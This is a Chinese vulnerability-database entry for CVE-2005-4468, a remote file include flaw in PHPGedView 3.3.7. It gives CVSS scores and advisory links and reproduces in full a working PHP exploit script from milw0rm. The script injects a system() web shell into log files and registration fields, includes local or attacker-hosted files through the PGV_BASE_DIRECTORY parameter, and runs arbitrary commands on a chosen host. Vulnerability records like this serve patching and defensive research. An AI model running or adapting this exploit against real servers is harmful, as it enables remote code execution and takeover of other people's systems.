CVE-2005-4468
CVSS7.5
发布时间 :2005-12-21 19:03:00
修订时间 :2011-03-07 21:28:21
NMCE    

[原文]PHP remote file include vulnerability in help_text_vars.php in PHPGedView 3.3.7 and earlier allows remote attackers to execute arbitrary code via a URL in the PGV_BASE_DIRECTORY parameter.


[CNNVD]PHPGedView远程文件包含漏洞(CNNVD-200512-515)

        PHPGedView 3.3.7及更早版本中的help_text_vars.php存在PHP远程文件包含漏洞,远程攻击者可以通过PGV_BASE_DIRECTORY参数中的URL执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4468
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4468
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-515
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/18177
(VENDOR_ADVISORY)  SECUNIA  18177
http://cvs.sourceforge.net/viewcvs.py/phpgedview/phpGedView/help_text_vars.php?r1=1.63&r2=1.64
(PATCH)  CONFIRM  http://cvs.sourceforge.net/viewcvs.py/phpgedview/phpGedView/help_text_vars.php?r1=1.63&r2=1.64
https://sourceforge.net/tracker/index.php?func=detail&aid=1386434&group_id=55456&atid=477081
(UNKNOWN)  CONFIRM  https://sourceforge.net/tracker/index.php?func=detail&aid=1386434&group_id=55456&atid=477081
http://www.vupen.com/english/advisories/2005/3033
(UNKNOWN)  VUPEN  ADV-2005-3033
http://www.securityfocus.com/bid/15983
(UNKNOWN)  BID  15983
http://www.securityfocus.com/archive/1/archive/1/419906/100/0/threaded
(UNKNOWN)  BUGTRAQ  20051220 PHPGedView <= 3.3.7 remote code execution
http://rgod.altervista.org/phpgedview_337_xpl.html
(UNKNOWN)  MISC  http://rgod.altervista.org/phpgedview_337_xpl.html
http://xforce.iss.net/xforce/xfdb/23871
(UNKNOWN)  XF  phpgedview-helptextvars-file-include(23871)
http://www.osvdb.org/22009
(UNKNOWN)  OSVDB  22009
http://securitytracker.com/id?1015395
(UNKNOWN)  SECTRACK  1015395

- 漏洞信息

PHPGedView远程文件包含漏洞
高危 输入验证
2005-12-21 00:00:00 2005-12-28 00:00:00
远程  
        PHPGedView 3.3.7及更早版本中的help_text_vars.php存在PHP远程文件包含漏洞,远程攻击者可以通过PGV_BASE_DIRECTORY参数中的URL执行任意代码。

- 公告与补丁

        

- 漏洞信息 (1379)

PHPGedView <= 3.3.7 Arbitrary Remote Code Execution Exploit (EDBID:1379)
php webapps
2005-12-20 Verified
0 rgod
N/A [点击下载]
<?php
#   ---php_ged_view_337_xpl.php                               16.31 20/12/2005 #
#                                                                              #
#              PHPGedView <= 3.3.7 remote commands execution                   #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu:"If the enemy leaves a door open, you must rush in.                 #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title> ****PhpGedView <= 3.3.7 remote commands execution******
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
*****PhpGedView <= 3.3.7 remote commands execution****** </p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"   action="'.$SERVER[PHP_SELF].'">           <p><input
type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/phpgv/  or just / ) </span></p><p><input type="text" name="cmd">          <span
class="Stile5"> * specify a command     </span></p>    <p>    <input type="text"
name="LOCATION"><span class="Stile5">  remote location ( ex: http://www.somesite
.com/filename.txt) if you leave blank,  Step 2 will be skipped but you have good
chances to succeed anyway </span></p><p><input type="text" name="port">    <span
class="Stile5">specify  a  port other than  80 (default value)</span> </p>   <p>
<input  type="text" name="proxy"><span class="Stile5">send  exploit  through  an
HTTP proxy (ip:port)</span> </p> <p>          <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$cmd=$_POST[cmd];$host=$_POST[host];
$path=$_POST[path];$LOCATION=$_POST[LOCATION];
$port=$_POST[port];$proxy=$_POST[proxy];

if (($host<>'') and ($path<>'') and ($cmd<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);

  #STEP 1a -> inject some php code in log file... (this works with register_globals on)
  $CODE="HiMaster!<?php system(\$_GET[suntzu]);die;?>";
  $data="action=login";
  $data.="&url=".urlencode("http://".$host."/");
  $data.="&ged=php062005.ged";
  $data.="&pid=";
  $data.="&type=full";
  $data.="&usertime=2005-12-20+14%3A34%3A57";
  $data.="&username=".urlencode($CODE);
  $data.="&password=";
  $packet="POST ".$p."login.php HTTP/1.1\r\n";
  $packet.="Accept: */*\r\n";
  $packet."Referer: http://".$host.$path."login.php\r\n";
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  $packet.="Accept-Encoding: text/plain\r\n";
  $packet.="User-Agent: URL_Spider_Pro/x.x\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Content-Length: ".strlen($data)."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  $packet.=$data;
  show($packet);
  sendpacketii($packet);
  #STEP 1b -> Launch commands...
  $packet="GET ".$p."help_text_vars.php?suntzu=".$cmd."&PGV_BASE_DIRECTORY=./index/pgv-".date("Ym").".log HTTP/1.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="User-Agent: WhizBang! Lab  /x.x\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}

  if ($LOCATION<>'')
  {
    #STEP 2 -> Remote file inclusion... (this works with register_globals on & allow_url_fopen on)
    $packet="GET ".$p."help_text_vars.php?suntzu=".$cmd."&PGV_BASE_DIRECTORY=".$LOCATION." HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Ziggy -- The Clown From Hell!!\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    sendpacketii($packet);
    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
  }
  else
  {echo "<strong>step 2 skipped, fill location field if you need this</strong><br>";}


  #STEP 3a -> Shell inject... (this works with magic_quotes_gpc off)
  //don't touch this...
  $CODE="';error_reporting(0);if(isset(\$suntzu)){system(\$_GET[suntzu]);die('HiMaster!');}echo'";
  $CODE=urlencode($CODE);
  $data="action=registernew";
  $data.="&time=Tue%2C+20+Dec+2005+10%3A32%3A46+UTC";
  srand(make_seed());
  $anumber = rand(1,9999);
  $data.="&user_name=SUNTZU".$anumber;
  $data.="&user_password01=suntzu";
  $data.="&user_password02=suntzu";
  $data.="&user_fullname=suntzu";
  //theese args, not properly verified...
  $data.="&user_language=english".$CODE;
  $data.="&user_email=".$CODE;
  $data.="&user_gedcomid=".$CODE;
  $data.="&user_comments=";
  $packet="POST ".$p."login_register.php HTTP/1.1\r\n";
  $packet.="Accept: */*\r\n";
  $packet.="Referer: http://".$host.":".$port.$path."login_register.php?action=register\r\n";
  $packet.="Accept-Language: en\r\n";
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  $packet.="Accept-Encoding: text/plain\r\n";
  $packet.="User-Agent: GameBoy, Powered by Nintendo\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Content-Length: ".strlen($data)."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  $packet.=$data;
  show($packet);
  sendpacketii($packet);
  #STEP 3b -> Launch commands...
  $packet="GET ".$p."?suntzu=".$cmd." HTTP/1.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="User-Agent: Wget/1.x+cvs-stable (Red Hat modified)\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}

  //if you are here...
  echo "Exploit failed...";
}
else
{echo "Note: on remote location you need this code in <br>
        http:/[remote_location]/filename.txt :<br>";
 echo  nl2br(htmlentities("
        <?php
        echo\"HiMaster!\";ini_set(\"max_execution_time\",0);system(\$suntzu);?>
        ?>
        "));
  echo "Fill * required fields, optionally specify a proxy...";}
?>

# milw0rm.com [2005-12-20]
		
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站